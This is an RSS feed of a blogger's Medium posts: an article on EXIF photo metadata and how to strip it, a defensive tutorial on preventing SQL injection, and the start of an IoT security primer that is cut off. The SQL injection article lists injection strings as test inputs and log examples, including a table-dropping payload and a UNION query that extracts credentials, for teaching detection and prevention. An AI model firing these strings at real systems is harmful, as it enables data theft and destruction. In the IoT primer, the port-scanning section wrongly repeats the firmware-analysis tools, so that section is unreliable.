src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fmjrxf8EFSb8%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dmjrxf8EFSb8&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fmjrxf8EFSb8%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b121c5e8252f8a218aa91abe517df56d/href">https://medium.com/media/b121c5e8252f8a218aa91abe517df56d/href</a></iframe><p><a href="https://docs.ros.org/en/jazzy/Tutorials.html">https://docs.ros.org/en/jazzy/Tutorials.html</a></p><p><a href="https://github.com/ros2/examples">https://github.com/ros2/examples</a></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7TVWlADXwRw%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7TVWlADXwRw&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7TVWlADXwRw%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6e75dafcf80805ebc4bed4bd3efb8f55/href">https://medium.com/media/6e75dafcf80805ebc4bed4bd3efb8f55/href</a></iframe><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c59a87623cf8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Selfie Knows Where You Live: The Truth About EXIF Data]]></title>
            <link>https://medium.com/@imashanilupul/your-selfie-knows-where-you-live-the-truth-about-exif-data-cae0566ddb28?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/cae0566ddb28</guid>
            <category><![CDATA[image-security]]></category>
            <category><![CDATA[metadata]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exif]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 15:21:31 GMT</pubDate>
            <atom:updated>2025-10-15T03:52:21.772Z</atom:updated>
            <content:encoded><![CDATA[<p>What does EXIF data mean? what secrets does this data hold? Let’s explore it in this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8X1mK6MX6BZiXDOUhJLI4A.png" /><figcaption>Image Generated by Gemini Nano Banana</figcaption></figure><p>When we go on a trip or hang out with friends, we take lots of pictures in our daily lives. But have you ever wondered that these images hold more data than just the picture itself? Every digital photo you take carries more than just pixels — it carries a hidden story. Embedded within your images is EXIF data (Exchangeable Image File Format), a set of metadata that records details like the camera type, settings, date and time, and even GPS location. While this information is invaluable for photographers and AI systems analyzing images, it can also reveal sensitive personal information if mishandled.</p><h3>What Information EXIF Data Contains</h3><p>Exif data is like hidden fingerprint of an image. Usually it can include:</p><ul><li><strong>Date &amp; Time:</strong> When the photo was taken.</li><li><strong>Location (GPS):</strong> Latitude, longitude, and sometimes altitude.</li><li><strong>Camera Details:</strong> Manufacturer and model.</li><li><strong>Camera Settings:</strong> ISO, shutter speed, aperture, focal length, and flash usage.</li><li><strong>Orientation:</strong> Whether the image is rotated or flipped.</li><li><strong>Software Info:</strong> Programs used for editing or saving the image.</li></ul><p>Now, let’s look at some real examples. These are sample images I captured using my phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w6W93z8VZzGj6m_N-asIpw.jpeg" /><figcaption>Image Captured with exif Data</figcaption></figure><p>If you look closely, this image was captured using my OPPO A17 smartphone — and it stores a surprising amount of hidden data.</p><p>As you can see, it stores the date and time the photo was taken, along with detailed image information such as dimensions, height, width, horizontal and vertical resolution, bit depth, and more. It even includes the latitude and longitude of where the photo was captured. So, let’s explore this further.</p><p>Okay, let’s find out the exact location these latitude and longitude coordinates point to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*qNRtuV2qGAvq5AXQlWvcLg.png" /><figcaption>Real Location latitude and longitude coordinates point to</figcaption></figure><p>Here, I used <a href="https://www.gps-coordinates.net/">this </a>website to find the exact location. This is the actual place where I captured the image.</p><h3>How to View EXIF Data</h3><p>There are several simple ways to check the hidden EXIF metadata stored in your images:</p><p>🖥️ <strong>1. Online Tools</strong></p><p>Use free websites like:</p><ul><li><a href="https://exif.tools/"><strong>exif.tools</strong></a></li><li><a href="https://www.metadata2go.com/"><strong>metadata2go.com</strong></a></li><li><a href="https://www.verexif.com/"><strong>verexif.com</strong></a></li></ul><p>Just upload your image, and the site will display all metadata — including camera info, GPS location, and photo settings.</p><p>⚙️ <strong>2. Command-Line Tools</strong></p><p>In Kali Linux, there are many built-in tools — and <strong>ExifTool</strong> is one of them.</p><p>You can simply type the following command to view the EXIF data of your image.</p><pre>exiftool photo.jpg</pre><p>🐍 <strong>3. Programming with Python</strong></p><p>We can use library name PIL (Pillow) for this task like this.</p><pre>from PIL import Image<br>from PIL.ExifTags import TAGS<br><br>image = Image.open(&quot;photo.jpg&quot;)<br>exif_data = image._getexif()<br>for tag_id, value in exif_data.items():<br>    tag = TAGS.get(tag_id, tag_id)<br>    print(f&quot;{tag}: {value}&quot;)</pre><p>This script lists all metadata embedded in the image — such as the date taken, camera settings, and GPS information.</p><h3>How to remove exif data from image</h3><p>Basically, when we share an image through WhatsApp, it automatically removes the EXIF data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KFza8ca7gS4P8Ocz_MEuA.jpeg" /><figcaption>Exif data send through WhatsApp</figcaption></figure><p>Here is the same image after sending it through WhatsApp. As you can see, all the EXIF data has been removed.</p><p>So other than that you can use,</p><h4>1. Using Online Tools</h4><ul><li>Websites like <strong>verexif.com</strong> or <strong>exifremove.com</strong> let you upload an image and automatically remove metadata.</li><li>Quick and easy — no installation required.</li></ul><h4>⚙️ 2. Using Software</h4><ul><li><strong>Windows:</strong> Right-click the image → <strong>Properties → Details → Remove Properties and Personal Information</strong>.</li><li><strong>Mac:</strong> Open the image in <strong>Preview</strong> → File → Export → uncheck <strong>Include metadata</strong>.</li><li><strong>Photo editors:</strong> Photoshop, GIMP, or Lightroom allow removing or editing metadata when saving.</li></ul><h4>🐍 3. Using Python</h4><p>You can remove metadata programmatically with <strong>Pillow</strong> or <strong>piexif</strong>.</p><pre>from PIL import Image<br><br>image = Image.open(&quot;photo.jpg&quot;)<br>data = list(image.getdata())<br>clean_image = Image.new(image.mode, image.size)<br>clean_image.putdata(data)<br>clean_image.save(&quot;photo_no_exif.jpg&quot;)</pre><p>⚡ <strong>4. Using Command-Line Tools</strong></p><p>ExifTool:</p><pre>exiftool -all= photo.jpg</pre><p>ImageMagick:</p><pre>mogrify -strip photo.jpg</pre><p>Both commands remove all metadata from the image.</p><h3>How hackers use this ?</h3><p>EXIF metadata may seem harmless. But it treat in several ways. Embedded GPS coordinates can be reverse‑geocoded to reveal precise locations — meaning selfies, travel photos, or images taken at home or work can expose where someone lives, works, or frequently visits. Other fields such as camera make and model, timestamps, and location patterns allow adversaries to build detailed profiles of a target’s habits, devices, and routines, which can then be used to craft convincing phishing messages or impersonation attempts. Metadata can also contain unique device or software signatures that link photos across platforms, enabling attackers to correlate accounts and identify the same person or device on different sites. Timestamps and sequence information make it possible to reconstruct timelines of activity, useful for proving presence or absence at particular times. Less commonly, malicious actors may edit or plant metadata to hide an image’s true origin or to introduce misleading information — tactics sometimes used in fraud or to discredit sources.</p><h3>Conclusion</h3><p>EXIF data is a powerful and often overlooked aspect of digital photography. While it provides valuable information for photographers, AI systems, and image analysis, it also carries potential privacy risks if shared carelessly. From revealing your location and device details to enabling attackers to reconstruct timelines or build detailed profiles, metadata can expose sensitive personal information without you even realizing it. By understanding what EXIF data contains, knowing how to view it, and taking simple steps to remove or manage it before sharing images, you can enjoy the benefits of digital photography while protecting your privacy and security. Always remember: every photo tells a story — make sure it’s the one you want to share.</p><h3>📚 References</h3><ul><li><a href="https://en.wikipedia.org/wiki/Exif">Exif - Wikipedia</a></li><li><a href="https://snapwonders.com/analyse-media-overview?pk_campaign=g-ad-resp-w&amp;gad_source=1&amp;gad_campaignid=9425461114&amp;gbraid=0AAAAACfgPOmMFIBw7dB6bZvW1USu0zwb8&amp;gclid=Cj0KCQjwgKjHBhChARIsAPJR3xfkJLJw4Z0b2lAEDALTbyS375NpdGSgvYZr5eG4FDRtW9LaQRLLznwaAg3FEALw_wcB">snapWONDERS - Expose the Metadata hidden inside your digital photos</a></li><li><a href="https://www.isaca.org/resources/news-and-trends/industry-news/2025/what-to-know-about-exif-data-a-more-subtle-cybersecurity-risk">Industry News 2025 What to Know About EXIF Data a More Subtle Cybersecurity Risk</a></li></ul><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cae0566ddb28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding SQL Injection: What It Is and How to Prevent It ]]></title>
            <link>https://medium.com/@imashanilupul/understanding-sql-injection-what-it-is-and-how-to-prevent-it-d332e2038ae4?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/d332e2038ae4</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[defence-and-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Sun, 04 May 2025 12:09:50 GMT</pubDate>
            <atom:updated>2025-05-04T12:14:28.277Z</atom:updated>
            <content:encoded><![CDATA[<p>Best Practices for Preventing SQL Injection in Code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hpunDiJTGF9nl_Z769RvLw.jpeg" /><figcaption>Photo From Unsplash edited by me.</figcaption></figure><h3>📝 <strong>Introduction</strong></h3><p>SQL Injection is one of the most dangerous and widespread web vulnerabilities, consistently ranked in the <a href="https://owasp.org/www-project-top-ten/">OWASP Top 10 </a>security risks. By injecting malicious SQL code through input fields, attackers can manipulate database queries — gaining unauthorized access, leaking sensitive data, or even destroying entire databases.</p><p>Despite being well-known, SQL Injection still affects many web applications due to poor coding practices. In this article, you’ll learn what SQL Injection is, how it works, and how to defend against it with secure coding techniques.</p><h3>What Is SQL Injection?</h3><p><strong>SQL Injection (SQLi)</strong> is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It occurs when user input is improperly handled and directly embedded into SQL statements, giving attackers a chance to execute malicious SQL commands.</p><p>Think of it like this: if a web application trusts user input too much, an attacker can “inject” SQL code through form fields (like login forms or search boxes) to:</p><ul><li>Bypass authentication</li><li>Access unauthorized data</li><li>Modify or delete records</li><li>Even execute administrative operations on the database</li></ul><p>This happens because the application fails to properly separate <strong>code</strong> from <strong>data</strong> in SQL queries.</p><h3>🔍 Simple Example:</h3><p>Imagine your favorite e-commerce website — like eBay or Amazon — as the mighty Autobot spaceship, the Ark. It’s a highly secure vessel where only verified crew members (logged-in users) are allowed to access critical resources — like making purchases. To board the ship, Optimus must pass through the login gate by entering your username and password. The ship’s system then runs a check using an SQL command, like this:</p><pre>SELECT * FROM users WHERE username = &#39;$username&#39; AND password = &#39;$password&#39;;</pre><p>If Optimus enter a following input:</p><pre>username = &quot;Optimus Prime&quot;<br>password = &quot;autobots1234&quot;</pre><p>The query becomes like this:</p><pre>SELECT * FROM users WHERE username = &#39;Optimus Prime&#39; AND password = &#39;autobots1234&#39;;</pre><p>This is normally happens.</p><p>Now, imagine an Megatron wants to bypass the login without having a valid username or password. If the spaceship is vulnerable, they can use SQL Injection to do this.</p><p>He enter the following input:</p><pre>username = &quot;Optimus Prime&quot;<br>password = &quot;&#39; OR &#39;1&#39;=&#39;1&quot;</pre><p>The query becomes :</p><pre>SELECT * FROM users WHERE username = &#39;Optimus Prime&#39; AND password = &#39;&#39; OR &#39;1&#39;=&#39;1&#39;;</pre><p>As you know ‘1’ = ’1’ is always true. Since the Megatron gains Optimus Prime’s access without knowing the real password.</p><p><em>This is a basic example of an SQL Injection attack.</em></p><h3>How to Detect SQL Injection</h3><p>Detecting SQL Injection is essential for securing your application before an attacker exploits it. You can use both <strong>manual techniques</strong> and <strong>automated tools</strong>, along with <strong>log analysis</strong>, to identify vulnerabilities early.</p><h4><strong>🛠️ 1. Manual Testing</strong></h4><p>Manually testing input fields is a good starting point.</p><h4>Common test inputs:</h4><ul><li>&#39; OR &#39;1&#39;=&#39;1</li><li>&#39;; DROP TABLE users;--</li><li>&#39; AND SLEEP(5)-- <em>(for time-based testing)</em></li><li><a href="https://github.com/payloadbox/sql-injection-payload-list">more</a></li></ul><p><strong>Where to test:</strong></p><ul><li>Login forms</li><li>Search boxes</li><li>URL query parameters</li><li>Contact forms or any input fields</li></ul><p><strong>What to observe:</strong></p><ul><li>Unexpected behavior like logging in without valid credentials</li><li>Application crashes or database error messages</li></ul><h4>📈 2. Analyze Logs for Suspicious Activity</h4><p>Web server and database logs can reveal early signs of SQL injection attempts.</p><p><strong>What to look for:</strong></p><ul><li>Repeated use of single quotes (&#39;), semicolons (;), or keywords like UNION, SELECT, SLEEP, OR 1=1</li><li>Unusual patterns in query strings or POST data</li><li>Slow response times (may indicate time-based SQLi attempts)</li><li>Repeated failed login attempts with strange inputs</li></ul><p>Examples suspicious log entry:</p><pre>GET /login?username=admin&#39;--&amp;password=123 HTTP/1.1</pre><pre>GET /product?id=1&#39; OR &#39;1&#39;=&#39;1 HTTP/1.1</pre><pre>GET /profile?id=1 UNION SELECT username, password FROM users-- HTTP/1.1</pre><h4>🔍 4. Use Automated Tools</h4><p>Some reliable tools for detecting SQLi:</p><ul><li><strong>SQLmap</strong> — Fully automated and widely used</li><li><strong>Burp Suite</strong> — Intercepts and scans requests</li><li><strong>OWASP ZAP</strong> — Open-source vulnerability scanner</li></ul><h4>📄 5. Review Source Code</h4><p>During a code review:</p><ul><li>Look for dynamic SQL queries built with string concatenation</li><li>Ensure use of parameterized queries and ORM libraries</li></ul><h3>Coding Best Practices to prevent SQL Injection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JtIkObo8JQFUQ9Gx.jpg" /><figcaption><a href="https://logz.io/blog/defend-against-sql-injections/">How to Defend Your Business Against SQL Injections | Logz.io</a></figcaption></figure><h4>✅ 1. <strong>Use Prepared Statements (Parameterized Queries)</strong></h4><p><strong>What is prepared statements?</strong></p><blockquote><em>A </em><strong><em>prepared statement</em></strong><em> is a SQL query </em><strong><em>template</em></strong><em> that has placeholders for user input. These inputs are </em><strong><em>bound to the query later</em></strong><em>, ensuring they are treated strictly as </em><strong><em>data</em></strong><em>, not executable code.</em></blockquote><p><strong>Examples in Different Languages:-</strong></p><p>▶️ Python (with SQLite or MySQL)</p><pre>import sqlite3<br><br>conn = sqlite3.connect(&#39;example.db&#39;)<br>cursor = conn.cursor()<br><br>username = input(&quot;Enter username: &quot;)<br>password = input(&quot;Enter password: &quot;)<br><br># Safe query using placeholders<br>cursor.execute(&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;, (username, password))</pre><p>💥 This avoids: OR &#39;1&#39;=&#39;1&#39; injection. If someone enters &#39; OR &#39;1&#39;=&#39;1 as the username, the database <strong>treats it as a string literal</strong>, not SQL code.</p><p>▶️ PHP (with PDO)</p><pre>&lt;?php<br>$pdo = new PDO(&#39;mysql:host=localhost;dbname=test&#39;, &#39;user&#39;, &#39;pass&#39;);<br><br>$username = $_POST[&#39;username&#39;];<br>$password = $_POST[&#39;password&#39;];<br><br>$stmt = $pdo-&gt;prepare(&quot;SELECT * FROM users WHERE username = :username AND password = :password&quot;);<br>$stmt-&gt;bindParam(&#39;:username&#39;, $username);<br>$stmt-&gt;bindParam(&#39;:password&#39;, $password);<br>$stmt-&gt;execute();<br>?&gt;</pre><p>▶️ Java (with JDBC)</p><pre>Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);<br>String sql = &quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;;<br>PreparedStatement stmt = conn.prepareStatement(sql);<br><br>stmt.setString(1, username);<br>stmt.setString(2, password);<br><br>ResultSet rs = stmt.executeQuery();</pre><p>▶️ C# (with ADO.NET)</p><pre>SqlConnection conn = new SqlConnection(connectionString);<br>string sql = &quot;SELECT * FROM users WHERE username = @username AND password = @password&quot;;<br>SqlCommand cmd = new SqlCommand(sql, conn);<br><br>cmd.Parameters.AddWithValue(&quot;@username&quot;, username);<br>cmd.Parameters.AddWithValue(&quot;@password&quot;, password);<br><br>SqlDataReader reader = cmd.ExecuteReader();</pre><h4>✅ 2. <strong>Use ORM (Object-Relational Mapping) Frameworks</strong></h4><p><strong>🧠 What Is an ORM?</strong></p><p><strong>ORM (Object-Relational Mapping)</strong> is a programming technique that lets you interact with a <strong>database using objects and classes</strong> rather than writing raw SQL queries.</p><p><em>Instead of writing:</em></p><pre>SELECT * FROM users WHERE id = 5</pre><p><em>You might write in Python using SQLAlchemy ORM:</em></p><pre>user = session.query(User).filter_by(id=5).first()</pre><p><strong>🛡️ How ORMs Help Prevent SQL Injection</strong></p><p>ORMs automatically use <strong>parameterized queries under the hood</strong>. This means:</p><ul><li>User input is <strong>escaped properly</strong>.</li><li>No direct SQL string concatenation occurs unless you force it.</li><li>Most modern ORMs prevent SQL injection by design.</li></ul><p><strong>Examples of ORMs That Prevent SQL Injection:-</strong></p><p>▶️ Python — SQLAlchemy</p><pre>from sqlalchemy.orm import sessionmaker<br><br># Secure: no raw SQL<br>user = session.query(User).filter_by(username=&quot;admin&quot;).first()</pre><p>▶️ Java — Hibernate</p><pre>Query query = session.createQuery(&quot;from User where email = :email&quot;);<br>query.setParameter(&quot;email&quot;, userInput);</pre><p>▶️ PHP — Laravel Eloquent</p><pre>$user = User::where(&#39;email&#39;, $email)-&gt;first();</pre><h4>✅ 3. <strong>Escape Inputs (Only When Necessary)</strong></h4><p>Escaping inputs means <strong>modifying user input so that special characters (like </strong><strong>&#39;, </strong><strong>&quot;, </strong><strong>;, </strong><strong>--) lose their special meaning</strong> in SQL. For example:</p><pre>O&#39;Reilly  →  O&#39;&#39;Reilly  (in SQL, &#39;&#39; is an escaped single quote)</pre><p>However:</p><blockquote><em>⚠ </em><strong><em>Escaping inputs manually should be your last resort</em></strong><em>. Use </em><strong><em>prepared statements</em></strong><em> whenever possible, which handle this automatically.</em></blockquote><h4>✅ 4. <strong>Whitelist Input Validation</strong></h4><p><strong>Whitelist input validation</strong> means:</p><blockquote><em>You only </em><strong><em>allow specific, expected input patterns</em></strong><em>, and </em><strong><em>reject everything else</em></strong><em>.</em></blockquote><p>This prevents attackers from injecting malicious input like &#39;; DROP TABLE users; -- because it won’t match the allowed pattern.</p><p>🔍 Why Use Whitelisting?</p><ul><li>Prevents unexpected characters (like &#39;, --, ;)</li><li>Ensures data is in the <strong>correct format</strong> (email, number, username, etc.)</li><li>Blocks many <strong>SQL injection</strong> attempts <strong>before</strong> they reach the database.</li></ul><p>Examples of different languages:-</p><p>▶️ Python</p><pre>import re<br><br>def is_valid_username(username):<br>    return re.fullmatch(r&#39;^\w{3,20}$&#39;, username) is not None  # Only letters, digits, and underscore<br><br># Usage<br>user_input = input(&quot;Username: &quot;)<br>if is_valid_username(user_input):<br>    print(&quot;Valid input&quot;)<br>else:<br>    print(&quot;Invalid input&quot;)</pre><p>▶️ Java</p><pre>public static boolean isValidUsername(String username) {<br>    return username.matches(&quot;^[a-zA-Z0-9_]{3,20}$&quot;);<br>}<br><br>// Usage<br>Scanner sc = new Scanner(System.in);<br>System.out.print(&quot;Username: &quot;);<br>String input = sc.nextLine();<br><br>if (isValidUsername(input)) {<br>    System.out.println(&quot;Valid input&quot;);<br>} else {<br>    System.out.println(&quot;Invalid input&quot;);<br>}</pre><p>▶️ PHP</p><pre>function isValidUsername($username) {<br>    return preg_match(&#39;/^\w{3,20}$/&#39;, $username);<br>}<br><br>$username = $_POST[&#39;username&#39;];<br>if (isValidUsername($username)) {<br>    echo &quot;Valid input&quot;;<br>} else {<br>    echo &quot;Invalid input&quot;;<br>}</pre><p>You can learn regex — <a href="https://www.geeksforgeeks.org/write-regular-expressions/">here</a></p><h4>✅ 5. Least Privilege Access</h4><p>🛡️ <strong>What is Least Privilege Access?</strong></p><p><strong>Least Privilege Access</strong> means <strong>granting users and applications the minimum permissions they need to function</strong>. In other words, give them <strong>just enough access</strong> to perform their tasks and <strong>no more</strong>.</p><p>In the context of databases:</p><ul><li><strong>Don’t give applications full access</strong> to modify or drop tables if it’s not necessary.</li><li>If an app only needs to <strong>read</strong> data, the database user should have <strong>read-only</strong> permissions.</li></ul><p>By <strong>restricting permissions</strong>:</p><ul><li><strong>SQL injection attacks</strong> become more limited because the attacker can’t perform destructive actions like deleting or modifying data.</li></ul><p><strong>🔐 Why Is It Important for SQL Injection Prevention?</strong></p><ul><li><strong>Limiting access</strong> prevents <strong>attackers from executing harmful queries</strong> (e.g., DROP TABLE, DELETE FROM) if they manage to inject malicious code.</li><li>For example, if an attacker manages to inject SQL like DROP TABLE users; --, <strong>they will only succeed if the user account has </strong><strong>DROP permissions</strong>.</li></ul><p>By <strong>restricting permissions</strong>:</p><ul><li>Even if an attacker exploits a vulnerability (e.g., SQL injection), they can <strong>only read data</strong>, not modify or delete it.</li></ul><p>Tutorial for Privilege access handling in SQL — <a href="https://beginner-sql-tutorial.com/sql-grant-revoke-privileges-roles.htm">Here</a></p><h3>Conclusion</h3><p>To protect against SQL injection, always use prepared statements to safely handle user inputs. Validate inputs by whitelisting acceptable values, ensuring only valid data is processed. If necessary, escape special characters in user inputs to prevent breaking SQL syntax. Additionally, enforce the principle of least privilege by granting database users only the permissions they need, reducing the potential impact of an attack. These best practices help secure your application against SQL injection and other common database vulnerabilities.</p><h3>📚 References</h3><ul><li><a href="https://portswigger.net/web-security">Web Security Academy: Free Online Training from PortSwigger</a></li><li><a href="https://www.w3schools.com/sql/sql_injection.asp">W3Schools.com</a></li><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL Injection | OWASP Foundation</a></li></ul><p>Thanks for reading … 😇</p><p><em>If you have any questions or need clarification, feel free to reach out.</em></p><p>👉<em>Email — </em><a href="http://imashanilupul@gmail.com/"><em>imashanilupul@gmail.com</em></a></p><p>👉<em>Linkedin — </em><a href="https://www.linkedin.com/in/imasha-jayarathne-6a3178200/"><em>Imasha Jayarathne | LinkedIn</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d332e2038ae4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to IoT Security: Why It Matters More Than Ever]]></title>
            <link>https://medium.com/@imashanilupul/introduction-to-iot-security-why-it-matters-more-than-ever-3c4801332c06?source=rss-2c488e649af9------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c4801332c06</guid>
            <category><![CDATA[robotics-automation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-vulnerabilities]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[ies-labs]]></category>
            <dc:creator><![CDATA[ImashaNilupul]]></dc:creator>
            <pubDate>Sun, 13 Apr 2025 14:58:19 GMT</pubDate>
            <atom:updated>2025-04-13T15:10:11.720Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction to IOT Security: Why It Matters More Than Ever</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-WE36CS4jbHoMxaGlDPT-g.png" /><figcaption>IOT Security</figcaption></figure><h3><strong>What Is IoT ?</strong></h3><p>Smart technology spreading the word daily. So IOT has become silently the backbone of human lives. From Alexa like voice assistants, to fitness trackers most of the industrial machines use IOT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OVmLfcxH1MB1mKfdqB589g.png" /><figcaption><a href="https://www.researchgate.net/profile/Shubham-Mahajan-5/publication/355111107/figure/fig1/AS:1076716277633025@1633720573870/Exponential-growth-of-the-Internet-of-Things-IoT.png">Exponential revenue growth of IOT</a></figcaption></figure><p>The below image shows how IOT grows according to the time until 2025. IOT is growing exponentially in the revenue factor as depicted in the chart. IoT is not like traditional computing devices. It often operates with limited resources and minimal oversight, making it an attractive target for cybercriminals. Imagine your smart car hijacked by someone. This can be a huge disaster. Someone can even kill you silently by breaking IOT security.<br> This article explains why IOT security is more critical than ever, the most common vulnerabilities, real-world case studies, and what developers, businesses, and everyday users can do to protect the systems we increasingly rely on.</p><h3><strong>Understanding IoT</strong></h3><blockquote>The Internet of Things (IOT) refers to a network of physical devices, vehicles, appliances, and other physical objects that are embedded with sensors, software, and network connectivity, allowing them to collect and share data.</blockquote><p>IOT enables these smart devices to communicate with each other and with other internet-enabled devices. Like smartphones and gateways, creating a vast network of interconnected devices that can exchange data and perform various tasks autonomously. This can include:</p><ul><li>monitoring environmental conditions in farms</li><li>managing traffic patterns with smart cars and other smart automotive devices</li><li>controlling machines and processes in factories</li><li>tracking inventory and shipments in warehouses</li></ul><h3><strong>Why IoT Security Is Critical?</strong></h3><p>As IOT devices, they continue to permeate through cities, villages different industries etc. These devices also operate with little user interaction and handle sensitive data. Most of the time deeply integrated into critical systems.</p><p><strong>1. Massive Attack Surface</strong></p><p>Assume billions of connected sensors, devices, wearables smart devices. If one of these becomes the potential of the attacker it can be unauthorized access to others too. Attackers can Launch large-scale botnet attacks.</p><p><strong>2. Handling of Sensitive Data</strong></p><p>IoT devices are data-hungry. They collect all the data and store and transfer it to businesses. So They can share unwanted unauthorized data from unwanted strangers.</p><p><strong>3. Industrial &amp; Infrastructure Vulnerabilities</strong></p><p>In manufacturing like electrical, water supply, transport IOT doing main role. A vulnerability in a smart sensor or connected PLC (programmable logic controller) can Shut down ,factories, disrupt supply chains, cause blackouts, endanger public safety.</p><h3><strong>Common Vulnerabilities in IoT Devices</strong></h3><p><strong>1.</strong> <strong>Weak or Default Credentials</strong></p><p>After developing IOT devices, Most of them are delivered with default user names and password credentials. (e.g., admin/admin) This can be a reason for access to the system for the attackers.</p><p>Example: Mirai Botnet infected thousands of IOT devices using default login credentials.</p><p><strong>2.</strong> <strong>Unpatched Firmware and Software</strong></p><p>IOT manufacturers often release updates for newly found vulnerabilities in their systems. However most of the IoT devices lack automatic update mechanisms and long-term support. Unpatched firmware can be a reason for a critical vulnerability.</p><p><strong>3.</strong> <strong>Lack of Data Encryption</strong></p><p>Most of the IOT devices transmit data in unencrypted formats. This can be a critical vulnerability to the system. Specially transmit over the internet. IOT systems transmit passwords and locations in raw format. There are lots of encryption methods to use like AES-256, HS -128 like encryptions.</p><p><strong>4.</strong> <strong>Insecure APIs and Web Interfaces</strong></p><p>Developers make many ways to interact with IOT devices, Most of the time it will be web applications or mobile apps. So this can be less security. It can cause SQL Injection attacks, can XSS, and API exposure. This allows attackers to control devices.</p><p><strong>5.</strong> <strong>Insecure Network Services</strong></p><p>Some IOT devices can connect some vulnerable connections. Like WIFIs. Hackers can attack IOT system through that vulnerable network.</p><p><strong>6.</strong> <strong>Hardcoded Credentials</strong></p><p>Developers sometimes embed usernames, passwords, or encryption keys directly into the device’s firmware. Once discovered, every instance of that device becomes vulnerable.</p><h3><strong>IoT Device Vulnerability Check Methods</strong></h3><p>There can be security vulnerabilities in many levels of IOT. They are hardware, software, network, and user interface layers. Below are the methods and techniques to catch them.</p><h4>1. 🛰️ Network Port Scanning</h4><p><strong>Purpose:</strong> Identify open, unused, or vulnerable ports that may be exposing the device to network-level attacks.</p><p><strong>Methods :</strong></p><ul><li>Static analysis (<em>e.g., strings, reverse engineering</em>)</li><li>Dynamic testing in a sandboxed environment</li></ul><p><strong>Tools:</strong> Binwalk, Ghidra, IDA Pro, Firmadyne</p><p><strong>Risks Identified:</strong></p><ul><li>Hardcoded credentials</li><li>Vulnerable libraries or outdated kernels</li></ul><h4>2. 🔑 Credential Testing (Brute Force / Default Check)</h4><p><strong>Purpose</strong>: Check for weak, default, or hardcoded credentials.</p><p><strong>Tools</strong>: Hydra, Medusa, or custom scripts</p><p><strong>Risks Identified:</strong></p><ul><li>Unauthorized access to admin panels</li><li>Easy compromise in botnet attacks (e.g., Mirai)</li></ul><p><strong>Best Practice</strong>: Enforce strong password policies and disable default accounts.</p><h4>3. 🧠 Firmware Analysis</h4><p><strong>Purpose:</strong> Examine firmware for hardcoded secrets, backdoors, and insecure code.</p><p><strong>Methods:</strong></p><ul><li>Static analysis (e.g., strings, reverse engineering)</li><li>Dynamic testing in a sandboxed environment</li></ul><p><strong>Tools:</strong> Binwalk, Ghidra, IDA Pro, Firmadyne</p><p><strong>Risks Identified:</strong></p><ul><li>Hardcoded credentials</li><li>Vulnerable libraries or outdated kernels</li></ul><h4>4. 🌐 Web Interface &amp; API 